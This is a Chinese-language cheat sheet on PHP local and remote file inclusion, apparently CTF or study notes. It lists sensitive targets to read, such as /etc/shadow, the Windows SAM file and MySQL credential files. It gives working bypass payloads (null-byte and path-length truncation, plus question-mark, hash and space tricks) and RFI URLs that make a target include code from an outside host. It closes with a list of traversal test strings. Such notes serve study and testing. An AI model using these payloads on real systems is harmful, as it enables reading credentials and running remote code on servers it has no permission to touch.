原理 - PHP

(1)require()

(2)require_once()

(3)include()

(4)include_once()

 

LFI - 无限制本地文件包含

通过目录遍历漏洞可以获取到系统中其他文件的内容
常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

LFI - session文件包含漏洞

LFI - 有限制本地文件包含漏洞绕过

%00截断        http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00        
路径长度截断    windows OS,点号需要长于256;linux OS 长于4096        

RFI - php远程文件包含漏洞

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

RFI - 无限制远程文件包含

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.xx/FI/php.txt

RFI - 有限制远程文件包含漏洞绕过

<?php include($_GET['filename'] . ".html"); ?>

有限制远程文件包含漏洞绕过_问号绕过 http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
有限制远程文件包含漏洞绕过_#绕过    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
有限制远程文件包含漏洞绕过_空格绕过 http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

PHP文件包含

文件包含函数 require() 、require_once()、include()	、allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的 PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On            

服务器端包含(SSI)

简单测试:

 1 etc/passwd
 2 etc/passwd%00
 3 etc%2fpasswd
 4 etc%2fpasswd%00
 5 etc%5cpasswd
 6 etc%5cpasswd%00
 7 etc%c0%afpasswd
 8 etc%c0%afpasswd%00
 9 C:\boot.ini
10 C:\WINDOWS\win.ini
View Code

相关文章: